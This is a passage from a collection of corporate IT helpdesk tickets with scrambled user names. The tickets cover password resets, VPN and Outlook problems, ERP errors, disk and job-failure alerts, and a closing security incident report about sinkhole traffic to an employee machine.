-connected to the user system using teamviewer.
had the user connectt to the company vpn.
-deleted rsa files and help the user login to the skype.
-tried to reconfigure the mscrm ,no go.
-tried to repair the ms office.
reinstalled the ms office.
-caller confirmed that he is now able to see the emails on outlook.
-issue resolved.
-computer : lmsl9516645
contact:, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1193 - status f:\ is now 86% utilized., Description: HostName\_1193 - status f:\ label:dat1-HostName\_1193 36e52bcd is now 86% utilized., is assigned to Assignment group: GRP\_12.Ticket with Short description: HostName\_894 - status c:\ is now 88% utilized., Description: HostName\_894 - status c:\ label:sys-HostName\_894 28385a7b is now 88% utilized., is assigned to Assignment group: GRP\_8.Ticket with Short description: static on call , Description: static on call , is assigned to Assignment group: GRP\_0.Ticket with Short description: changes made for ticket inc1545346 have caused issues with delivery printing at plant\_268. , Description: changes made for ticket inc1545346 have caused issues with delivery printing at plant\_268. plant\_151 reconditioning facility is now located at the plant\_268 facility in illinois, usa. there were changes made to pick request printing for this group of employees but it has affected the entire facility. the plant\_268 group used to print delivery notes at the users paramdntyeter. now all delivery notes are printing at an office printer that is not near where they are working. this is not productive. please reach out to omiwzbue auvolfhp and myself to help resolve this as soon as possible. , is assigned to Assignment group: GRP\_18.Ticket with Short description: invalid incompletion error on so#24903890, Description: so#35014901 has "configuration" incompletion for items 10-40 which is invalid. these items are complete and error should not be there, is assigned to Assignment group: GRP\_13.Ticket with Short description: not properly acess - excel, word,skype,outlook - message > products disabled to continue to use, activate now , Description: if i try to use excel, word, skype,outlook have a message products disabled to continue to use, activate now . if i tried to do using e-mail account , i have the message : account jgnxyahz.cixzwuyf@gmail.com is not associated with the product . to active the installation , please enter the account associated with the product , is assigned to Assignment group: GRP\_0.Ticket with Short description: downloading archiving\_tool software for erp SID\_34 , Description: from: lkwspqce knxaipyj [mailto:lkwspqce.knxaipyj@gmail.com] \_x000D\_
sent: monday, september 12, 2016 3:30 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: amar - support in installing archiving\_tool to allowe me view vendor inwarehouse\_tools\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
can i please have support in downloading archiving\_tool software for erp SID\_34 to allow me access and view vendor inwarehouse\_tools.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: hana report will not refresh - analysis buttons all deactivated - high priority, Description: see attached workbook required to be refreshed for msc requirement., is assigned to Assignment group: GRP\_9.Ticket with Short description: please reset my erp pasword, battel to log in-username bragtydlc, thanks, Description:
received from: gvderpbx.udrzjxkm@gmail.com
gvderpbx udrzjxkm
junior application sales engineer
gvderpbx.udrzjxkm@gmail.com<mailto:gvderpbx.udrzjxkm@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: rma receiving issue with items under 1 lb. rma 7112611859 has two items 21.5 and 4.76, Description: name:debhyue fhyuiinch
language:
browser:microsoft internet explorer
email:yoltmegh.bmadvixs@gmail.com
customer number:
telephone:
summary:rma receiving issue with items under 1 lb. rma 7112611859 has two items 21.5 and 4.76 and when we try to receive items in under mm 7228874. erp is doing a round up value to 5 lbs and 22 lbs. is there a way to receive exact weight in?
, is assigned to Assignment group: GRP\_18.Ticket with Short description: please help brianna get working again on business manager, Description: please help brianna get working again on business manager, is assigned to Assignment group: GRP\_7.Ticket with Short description: tnghnha ajuiegrson is in need of having access to the met lab computer to be able to perform her job., Description: tnghnha ajuiegrson is in need of having access to the met lab computer to be able to perform her job., is assigned to Assignment group: GRP\_3.Ticket with Short description: enterprise search - no results, Description: the following objects/search connectors in enterprise search are not returning any results:\_x000D\_
material\_x000D\_
material bom\_x000D\_
specification\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_14.Ticket with Short description: accrual values are not matching in the compensation system, Description: there is a bug in the performance sproc that calculates payout values. a small modification needs to occur in order to calculate payout values on a monthly basis. this was missed during uacyltoe hxgayczeing due to uacyltoe hxgayczeing taking place in the first period of a financial\_toolcal year. this issue only arises in subsequent periods., is assigned to Assignment group: GRP\_25.Ticket with Short description: password reset , Description: password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to create delivery for sto 5019168696/4908100506, Description: not able to create delivery for sto 5019168696/4908100506 - \_x000D\_
could you please verify apo ? \_x000D\_
please assing to supply\_chain group \_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: skype sound not working., Description: skype sound not working.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-installed the sound drivers.\_x000D\_
-restarted the pc.\_x000D\_
-gave a uacyltoe hxgaycze call, user able to hear sound clearly.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1343 failed in job\_scheduler at: 09/12/2016 13:22:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1343 failed in job\_scheduler at: 09/12/2016 13:22:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: tax not calculated , Description: from: raghyvhdra najuty \_x000D\_
sent: monday, september 12, 2016 6:33 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
cc: srinfhyath araghtyu; parthyrubhji erathyur\_x000D\_
subject: trurthyuft - re: tax not calculated\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
please note material has reached along with excise inwarehouse\_tool without vat w.r.t to inwarehouse\_tools \_x000D\_
\_x000D\_
1) 0512673537 dt.31.08.2016\_x000D\_
2) 0512669241 dt 22.08.2016\_x000D\_
3) 0512673538 dt 22.08.2016\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: need to configure emails on the company iphone device, Description: need to configure emails on the company iphone device, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp queries, Description: erp queries, is assigned to Assignment group: GRP\_0.Ticket with Short description: unlocked erp SID\_34 , Description: unlocked erp SID\_34 , is assigned to Assignment group: GRP\_0.Ticket with Short description: need full control access to \\HostName\_768\teams\consigned inventory, Description: need full control access to \\HostName\_768\teams\consigned inventory, is assigned to Assignment group: GRP\_34.Ticket with Short description: unable to end out an email, Description: emailed some steps, awaiting uacyltoe hxgayczeing.
from: nwfodmhc exurcwkm
sent: monday, september 12, 2016 8:22 pm
to: shhkioaprhkuoash ms <peuckbvr.tjihmgsv@gmail.com>
subject: fw: fw: fw: engineering\_drawing\_tool automation
hi shiv,
please see if removing the names from your outlook cache fixes the issue.
to do this please type the name of the recipient, you will find a 'x' next to the name. click on it to remove from the cache. open a new email and type out the complete email address and uacyltoe hxgaycze if you are able to send the email.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: i am having issues delivering parts to stock in another plant. the rqfhiong zkwfqagb has deliver plant of plant\_36, Description: i am having issues delivering parts to stock in another plant. the rqfhiong zkwfqagb has deliver plant of plant\_36 but it will not deliver there.
ext.2296
summary:i am having issues delivering parts to stock in another plant. the rqfhiong zkwfqagb has deliver plant of plant\_36 but it will not deliver there., is assigned to Assignment group: GRP\_45.Ticket with Short description: could not hear user from other side., Description: could not hear user from other side.\_x000D\_
phone issue., is assigned to Assignment group: GRP\_0.Ticket with Short description: users are unable to connect to the network drives in HostName\_1274, Description: users are unable to connect to the network drives in HostName\_1274, the server is also not reachable., is assigned to Assignment group: GRP\_12.Ticket with Short description: mobile device activation, Description: from: puxsvfwr cwkjruni \_x000D\_
sent: monday, september 12, 2016 12:23 pm\_x000D\_
to: nwfodmhc exurcwkm <nwfodmhc.exurcwkm@gmail.com>\_x000D\_
subject: sab: wg: die synchronisierung mit exchange activesync ist auf ihrem gerÃ¤t vorÃ¼bergehend blockiert, bis der zugriff vom administrator gewÃ¤hrt wird.\_x000D\_
importance: high\_x000D\_
\_x000D\_
\_x000D\_
hi can you please activate my mobile devise to recieve emails on my new business iphone.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2063c failed in job\_scheduler at: 09/12/2016 10:38:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2063c failed in job\_scheduler at: 09/12/2016 10:38:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_19.Ticket with Short description: mobile device activation , Description: mobile device activation , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect wireless on the laptop, Description: unable to connect wireless on the laptop, is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent : with reference to ticket : inc1549876 , Description: uyjlodhq ymedkatw (lghuiezj3) has mapped the units m (departments), n (public) and s (teams) to HostName\_614 incorrectly.
helped her mapping network drive to correctly : inc1549876
but after reboot computer is connecting back to kkbsm003 instead of HostName\_622
she should have access m drive n drive and s drive with this server HostName\_622
pc name: ekxw8111221
please help update login script for user jÃ©sica lÃ³pez rufo.
also, user requested to process this request as soon as possible as her daily work is getting hampered and its very urgent for her.
, is assigned to Assignment group: GRP\_39.Ticket with Short description: vpn access pc name : aidl8912285 user id : thhyuokhkp, Description: vpn access pc name : aidl8912285 , is assigned to Assignment group: GRP\_0.Ticket with Short description: out of office for at least next 3 months. need password reset for the mails., Description: out of office for at least next 3 months. need password reset for the mails., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not loading, Description: outlook not loading, is assigned to Assignment group: GRP\_0.Ticket with Short description: no response from other side : german call , Description: no response from other side : german call , is assigned to Assignment group: GRP\_0.Ticket with Short description: removing another mail box from outlook, Description: removing another mail box from outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to skype, Description: unable to login to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp help, Description: \_x000D\_
\_x000D\_
received from: anpocezt.qturbxsg@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
when i try to get on to erp search and explorer analytics a blank screen comes up (below) are we having problems\_x000D\_
, is assigned to Assignment group: GRP\_9.Ticket with Short description: need to contact keyhtyvin toriaytun, Description: need to contact keyhtyvin toriaytun, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch outlook, Description: unable to launch outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp customer ref not on delivery, Description: hoi,\_x000D\_
\_x000D\_
view attached 2 examples where the customer ref as entered in erp is not printing on delivery's for 1207 sales org. also printscreen from order wikfnmlwds wmtiruac attached.\_x000D\_
\_x000D\_
this might also be the case in other sales org's. please also check 1202 , 1206 , 1225, 1227, 1241, 1278\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: please set field services collaboration\_platform page to include collaboration\_platform meeting section as you had explained, Description: please set field services collaboration\_platform page to include collaboration\_platform meeting section as you had explained, is assigned to Assignment group: GRP\_16.Ticket with Short description: password manager error , failed to log-inn. now i'm blocked , please reset, Description: my phone : , is assigned to Assignment group: GRP\_0.Ticket with Short description: the printout of shipament lable is not working, Description: name:frafhyuo ajuyanni
language:
browser:microsoft internet explorer
email:dmqjhrso.gzbunwie@gmail.com
customer number:
telephone:
summary:hello, i'm frafhyuo ajuyanni from company italy.
when i try to create a delivery (pweaver/ship) the printout of shipament lable is not working. for the italian shipmet works.. for others countries, is not working. can you please give me support?, is assigned to Assignment group: GRP\_0.Ticket with Short description: no response from other side., Description: no response from other side., is assigned to Assignment group: GRP\_0.Ticket with Short description: follow up call : inplant\_859346, Description: follow up call : inplant\_859346, is assigned to Assignment group: GRP\_0.Ticket with Short description: wifi in r&d conference room, Description: \_x000D\_
\_x000D\_
received from: gdkiehbr.kdithjsr@gmail.com\_x000D\_
\_x000D\_
please investigate and repair the cause of the weak wifi signal in the r&d area. we used to have full bars and for some reason it is barley 2 bars.\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: dual monitor issue , Description: dual monitor issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: need interaction password reset, Description: need interaction password reset
phone: , is assigned to Assignment group: GRP\_7.Ticket with Short description: password\_management\_tool password manager : password reset help and query, Description: password\_management\_tool password manager : password reset help and query, is assigned to Assignment group: GRP\_0.Ticket with Short description: bei drucker em98 papiertransport defekt, Description: beim transport des druckerpapiers treten in regelmÃ¤ÃŸigen abstÃ¤nden einkerbungen auf. papiereinzug defekt? , is assigned to Assignment group: GRP\_42.Ticket with Short description: unable to log in to the mii system , Description: unable to log in to the mii system \_x000D\_
\_x000D\_
user authentication failed, is assigned to Assignment group: GRP\_0.Ticket with Short description: i.t. issue, Description:
received from: zwirhcol.narzlmfw@gmail.com
usa has no functioning ups systems. all switches/servers are plugged into the wall. please ship two aerp.
j. shrugott tyhuellis
usa facilities mgr.
zwirhcol.narzlmfw@gmail.com<mailto:zwirhcol.narzlmfw@gmail.com>
, is assigned to Assignment group: GRP\_3.Ticket with Short description: reset passwords for robhyertyj f duca using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: outlook not launching, Description: outlook not launching, is assigned to Assignment group: GRP\_0.Ticket with Short description: missing data in bex productmanagement - urgent !!!!!!!!!!!!!!!!!!!!!!, Description: \_x000D\_
\_x000D\_
received from: uwofavej.hxyatnjc@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
data are dierppearing in bex from productmanagement master.\_x000D\_
\_x000D\_
we found the reason: anybody has changed the key figure name from "sales revenue" to "total sales revenue".\_x000D\_
in addition, there is a new key figure: net value\_x000D\_
\_x000D\_
nobody is informed about the change and the different (?) content of the two key figures.\_x000D\_
\_x000D\_
you immediately need to change back, all the reports wonÂ´t work now\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_9.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook issue., Description: \_x000D\_
\_x000D\_
received from: iqmhjlwr.jqmxaybi@gmail.com\_x000D\_
\_x000D\_
hello guys,\_x000D\_
\_x000D\_
please can you help, i was advised to change passwords on password\_management\_tool manager and since i have done this i have had a delay on my e-mails as per the below screenshot.\_x000D\_
\_x000D\_
[cid:image001.jpg@01d20cff.209d01c0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: active directory locked., Description: active directory locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activated., Description: mobile device activated., is assigned to Assignment group: GRP\_0.Ticket with Short description: in correct tax rate in inwarehouse\_tools , Description: \_x000D\_
\_x000D\_
received from: ikerxqwz.prkyuitl@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
after implementation of updation of tax rate through system , we have come across instances wherein the system is capturing different tax rate for local sales (within karnataka) other than one recommended .\_x000D\_
\_x000D\_
in this connection attaching herewith mail communication from team .\_x000D\_
\_x000D\_
request you to look into this aspect as it is resulting into non-compliance\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_10.Ticket with Short description: contractor locked out: please unlock vvlahstyurr in ad and erp SID\_60, Description: a student is working on a project with vinhytry, and has reported that her passwords are no longer working to access data. my assumption is that she got her passwords mixed up between ad and hana SID\_60, and is locked out of one or both; please have a look at unlocking her account., is assigned to Assignment group: GRP\_53.Ticket with Short description: need to log into skype for business, Description: cannot access skype for business with my login credentials., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp crm - instatnt timeout, Description: user: fywphaxc.jacdqbks@gmail.com;\_x000D\_
issue: user's session instantly kirtyled - timeout error as per attached screen.\_x000D\_
, is assigned to Assignment group: GRP\_15.Ticket with Short description: access to vpn, Description: added user to the f5 employee group. ryafbthn will uacyltoe hxgaycze and call in if he has any issues., is assigned to Assignment group: GRP\_34.Ticket with Short description: passwÃ¶rter wothyehre, Description: \_x000D\_
\_x000D\_
received from: dgwrmsja.jzlpwuit@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
bitte fÃ¼r wothyehre die passwÃ¶rter fÃ¼r windows und erp freimachen!\_x000D\_
\_x000D\_
danke\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen/best , is assigned to Assignment group: GRP\_0.Ticket with Short description: computer doesn't work, Description: computer starts, but keybankrd and mouse don't work. impossible login. cables and connections ok (keybankrd and mouse lights on)., is assigned to Assignment group: GRP\_62.Ticket with Short description: bobj explorer info spaces load issue (email sent to basis and dac team), Description: hi team basis, team dac,\_x000D\_
\_x000D\_
please investigate the bobj explorer services are up and running. it is showing blank screen at the moment.\_x000D\_
\_x000D\_
i have re indexed all the information spaces. but it did not help.\_x000D\_
\_x000D\_
please assist at an earliest.\_x000D\_
\_x000D\_
i will create a ticket in few minutes and update here.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_14.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked, Description: account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp issue with batches, Description: \_x000D\_
\_x000D\_
received from: bswlorek.yhdrlgbs@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
erp does not create to's automatically because of the following error message:\_x000D\_
[cid:image001.png@01d20cf1.36053bd0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_18.Ticket with Short description: when entering the proven solution ps-16-939 under "the page cannot be foun, Description: would you please delete the solution so that i can upload it again? , is assigned to Assignment group: GRP\_25.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: bitte konten erzeugen, Description: \_x000D\_
\_x000D\_
received from: ughzilfm.cfibdamq@gmail.com\_x000D\_
\_x000D\_
hallo ,\_x000D\_
\_x000D\_
bitte k1 konten erzeugen .\_x000D\_
\_x000D\_
referenz user : twdyzsfr gjedmfvh\_x000D\_
\_x000D\_
auftraggeber : scedxqur pocxqtrl\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_34.Ticket with Short description: hzptilsw wusdajqv : log on balancing error for SID\_1 and SID\_21, Description: hzptilsw wusdajqv : log on balancing error for SID\_1 and SID\_21, is assigned to Assignment group: GRP\_0.Ticket with Short description: lhbsm005: disk free on f:\ is now 3 % which is below warning threshold of 15%. , Description: lhbsm005: disk free on f:\ is now 3 % which is below warning threshold of 15%. , is assigned to Assignment group: GRP\_12.Ticket with Short description: bitte die schreib / leseberechtigung fÃ¼r ordner m:staebefertigung einrichten., Description: guten morgen,\_x000D\_
\_x000D\_
bitte die schreib / leseberechtigung fÃ¼r ordner m:staebefertigung einrichten.\_x000D\_
\_x000D\_
danke\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
freundliche grÃ¼ÃŸe / kind , is assigned to Assignment group: GRP\_24.Ticket with Short description: revert the change done for chg0032720, Description: revert the change done for chg1143831 please find the attachment for the issue that users are facing., is assigned to Assignment group: GRP\_41.Ticket with Short description: search and explorer analytics issue, Description: search and explorer analytics issue is blank in bobj. can login to search and analytics from ess but no search list is available.
phone: , is assigned to Assignment group: GRP\_49.Ticket with Short description: tess application doesn't run, Description: good morning, when i double click on the tess icon on my desktop, starts the initial loading page, but after few seconds the application close itself and the programdnty doesn't run. many , is assigned to Assignment group: GRP\_66.Ticket with Short description: bobj , Description: \_x000D\_
\_x000D\_
received from: ctzykflo.evzbhgru@gmail.com\_x000D\_
\_x000D\_
dear all,\_x000D\_
\_x000D\_
can someone please check and fix the problem.\_x000D\_
\_x000D\_
sales reps reported that the reports are not available in bobj.\_x000D\_
\_x000D\_
i checked too and also get the error message.\_x000D\_
\_x000D\_
[cid:image001.jpg@01d20ce6.35220981]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_9.Ticket with Short description: windows account locked, Description: good day.\_x000D\_
\_x000D\_
please unlock users windows account., is assigned to Assignment group: GRP\_0.Ticket with Short description: local availability and pricing information missing on various "obsolete" products (see screenshot), Description: local availability and pricing information missing on various "obsolete" products (see screenshot), is assigned to Assignment group: GRP\_20.Ticket with Short description: unable to turn on the computer., Description: unable to turn on the computer., is assigned to Assignment group: GRP\_0.Ticket with Short description: po display by vendor - not proper, Description: po display by vendor is showing only pending po's.\_x000D\_
if selection paramdntyeter is selected as we101 - it was showing only pending po;s\_x000D\_
if selection paramdntyeter is kept as blank - it was showing complete po's done on that vendor., is assigned to Assignment group: GRP\_29.Ticket with Short description: private address fields are enabled on employee master crm ui, Description: disable private address fields, new & edit buttons on employee master crm ui, is assigned to Assignment group: GRP\_15.Ticket with Short description: HostName\_1178 is not responding since at 1:30 am et on 09/12, Description: HostName\_1178 is not responding since at 1:30 am et on 09/12, is assigned to Assignment group: GRP\_12.Ticket with Short description: please add new user to company ru and nm - nghyuakm, Description: please add new user to company ru and nm - nghyuakm
install phone and headset as well.
, is assigned to Assignment group: GRP\_7.Ticket with Short description: aqzcisjy raflghneib : account disabled., Description: aqzcisjy raflghneib : account disabled., is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset collaboration\_platform problem, Description: \_x000D\_
\_x000D\_
received from: sbgvrncj.idfhtoqv@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
i changed my passwords this morning with password manager but i am having problems synching my collaboration\_platform on collaboration\_platform, it keeps asking me to enter the new password again and again.\_x000D\_
the rest, including office365 on both the workstation and the mobile are working ok with the new password. just collaboration\_platform is having a problem.\_x000D\_
any suggestions?\_x000D\_
\_x000D\_
[cid:image001.png@01d20cde.40cc4e90]\_x000D\_
many , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to take prints & scan with new laptop, Description: \_x000D\_
\_x000D\_
received from: dwujlnhs.ecxvrpyl@gmail.com\_x000D\_
\_x000D\_
dear sir\_x000D\_
\_x000D\_
i have received new laptop dell latitude e5470, with which i am unable to take printouts and scan from office printer.\_x000D\_
kindly help in resolving the issue.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: help reset erp SID\_37 bw production account password --xighjacj., Description: erp SID\_37 bw production account password changed failed in password\_management\_tool system . erp bex can not login now .\_x000D\_
user id : xighjacj\_x000D\_
\_x000D\_
received from: smktofel.etsoirbw@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
please help on my issue below.\_x000D\_
[cid:image001.png@01d20d0a.f4495281]\_x000D\_
\_x000D\_
[cid:image002.png@01d20d0a.f4495281]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: error druing password change., Description: \_x000D\_
\_x000D\_
received from: fjnmxoya.iljgptas@gmail.com\_x000D\_
\_x000D\_
hi i got the below message during password change. kindly help.\_x000D\_
\_x000D\_
[cid:2989156a-79bb-43c1-96e5-47e5ee747c69]\_x000D\_
\_x000D\_
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: ooo - till 4 oct 2016 it problem - engineering tool offline version is not starting, Description: \_x000D\_
\_x000D\_
received from: mikhghytr.sperhake@company.com\_x000D\_
\_x000D\_
win7 64bit\_x000D\_
dell m4700\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_481 failed in job\_scheduler at: 09/12/2016 03:46:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
9/12/2016 1:03:21 am :: error: vm 'HostName\_1045' (ref: 'vm-232341') is 'disconnected' \_x000D\_
\_x000D\_
job Job\_481 failed in job\_scheduler at: 09/12/2016 03:46:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: der rechner von unseren schichtfÃ¼hrern h.gabryltk, h.byczkowski, h.stankewitz ist defekt., Description: hallo \_x000D\_
\_x000D\_
der rechner von unseren schichtfÃ¼hrern h.gabryltk, h.byczkowski, h.stankewitz ist defekt.\_x000D\_
kannst du bitte mal vorbeikommen.\_x000D\_
, is assigned to Assignment group: GRP\_24.Ticket with Short description: rechner fÃ¼r messvorrichtung steli funktioniert nicht \zedlet, Description: rechner fÃ¼r messvorrichtung steli funktioniert nicht \zedlet, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit accespoint \konferenzraum f&e \niptbwdq csenjruz, Description: probleme mit accespoint \konferenzraum f&e \niptbwdq csenjruz, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit Ã¶ffnen m:\wsb\_exe \we\_wu102 \pfjwinbg ljtzbdqg, Description: probleme mit Ã¶ffnen m:\wsb\_exe \we\_wu102 \pfjwinbg ljtzbdqg, is assigned to Assignment group: GRP\_24.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: datenlogger opus20 thip q475024 kann keine verbindung herstellen, Description: datenlogger opus20 thip q475024, wird zur Ã¼berwachung der raumtemperatur benÃ¶tigt, findet nach der externen wartung keine netzwerkverbindung zum pc der pmÃ¼, is assigned to Assignment group: GRP\_33.Ticket with Short description: remote vpn issue, Description: i cannot connect to remote vpn using either of the links below (\_x000D\_
probably it has something to do with emea upgrade activity that took place on september 9.\_x000D\_
please fix the problem so that i can connect to vpn., is assigned to Assignment group: GRP\_0.Ticket with Short description: requirement of internet access for machine pc - eorjylzm vrkofesj at pu6, Description:
received from: dfiyvmec.wxioadpt@gmail.com
machine details : ip address 172.16.0.100
subnet mask :
physical address: 00-07-3256-14-2e-a8
host name : mc350
service engg from the machine supplier from switzerland is with us for a training programdntyme.
we need the internet access in the machine for a week
request your immediate support
kuhgtyjvelu. u
manager â€“ reliability engineering
dfiyvmec.wxioadpt@gmail.com<mailto:dfiyvmec.wxioadpt@gmail.com>
, is assigned to Assignment group: GRP\_19.Ticket with Short description: can not create inventory list, Description: forwarded request to the rqfhiong zkwfqagb dl, copying tomoe.\_x000D\_
\_x000D\_
email:\_x000D\_
from: zsqabokr xbtsaodr \_x000D\_
sent: monday, september 12, 2016 3:30 pm\_x000D\_
to: 'nwfodmhc exurcwkm'\_x000D\_
subject: can not create inventory list\_x000D\_
\_x000D\_
help desk,\_x000D\_
\_x000D\_
about the quantity of mm no.6370759, we want to change from zero.\_x000D\_
\_x000D\_
please find the attached document.\_x000D\_
we have problems.\_x000D\_
â‘  the inventory list cannot show by mb52.\_x000D\_
â‘¡ the inventory list cannot create by mi31.\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_18.Ticket with Short description: è½¬å‘: ä»¥è‰²åˆ—ä¿®ç£¨/rma6001502596, Description:
received from: wktesmbp.lorjymef@gmail.com
dear teamï¼Œ
we need to cancel sto#5019103390,pls. help to reverse its inwarehouse\_tool markhtyed in red,thx!
[cid:image001.png@01d20d06.437cc160]
b.rgds
judthtihty.zhuyhts
company hardpoint apac-wgq dc
, is assigned to Assignment group: GRP\_10.Ticket with Short description: account for aqzcisjy raflghneib, vvdghtteij, is locked. please unlock., Description: account for aqzcisjy raflghneib, vvdghtteij, is locked. please unlock., is assigned to Assignment group: GRP\_0.Ticket with Short description: password expires in 4 days, Description: dear all, my password runs out in 4 days, i am travelling and have no chance to come into the company network,please extend my current password until the 21st of september , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to set skype meeting in outlook , Description: unable to set skype meeting in outlook , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1332 failed in job\_scheduler at: 09/12/2016 02:16:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1332 failed in job\_scheduler at: 09/12/2016 02:16:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1338 failed in job\_scheduler at: 09/12/2016 02:14:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1338 failed in job\_scheduler at: 09/12/2016 02:14:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: there isn't any price under customer pruchase order 24899738, Description: the customer group 3 of customer 81504358 has been defigned as cn7, and i was told price of the 4 products ( mm# 2869194, 2936676, 4232294, 5174961) have been maitained in system, but the order 35900849 isn't with any price on it. please check and let me know what's wrong in system for it. the customer is in urgnet need of the order , please solve the problem for us aerp.\_x000D\_
please find the detail from the attached.\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: security incidents - ( #in33847938) : possible malware infection - traffic from sinkhole domain to apul7701066, Description: source ip :195.22.28.222\_x000D\_
source port: 80\_x000D\_
source ip geolocation: lisbon, prt\_x000D\_
destination ip: 10.44.22.248\_x000D\_
destination hostname: apul8812177 \_x000D\_
destination port: 58300\_x000D\_
user name:xcirqlup zopbiufn\_x000D\_
location :/asiapac/apac/apacpuchn/computers/apul8812177\_x000D\_
sep , sms status :not updated\_x000D\_
field sales user ( yes / no) : no\_x000D\_
dsw event log:see below\_x000D\_
-----------------------------------------------------------------------------------------------------------\_x000D\_
\_x000D\_
=========================\_x000D\_
event data\_x000D\_
=========================\_x000D\_
related events: \_x000D\_
event id: 93002683\_x000D\_
event summary: 52151 vid36000 server response with anubis sinkhole cookie set - probable infected asset\_x000D\_
occurrence count: 2\_x000D\_
event count: 1\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 195.22.28.222\_x000D\_
source port: 80\_x000D\_
source ip geolocation: lisbon, prt\_x000D\_
destination ip: 10.44.22.248\_x000D\_
destination hostname: apul8812177 \_x000D\_
destination port: 58300\_x000D\_
connection directionality: incoming\_x000D\_
protocol: tcp\_x000D\_
http status code: 302\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 80.68.49.4169\_x000D\_
device name: isensor05.company.com\_x000D\_
log time: 2016-09-12 at 04:37:39 utc\_x000D\_
action: not blocked\_x000D\_
vendor eventid: 703\_x000D\_
cvss score: -1 \_x000D\_
vendor priority: 2\_x000D\_
vendor version: 7\_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 699417\_x000D\_
inspector event id: 888388110\_x000D\_
ontology id: 200020003203755736\_x000D\_
event type id: 200020003203582148\_x000D\_
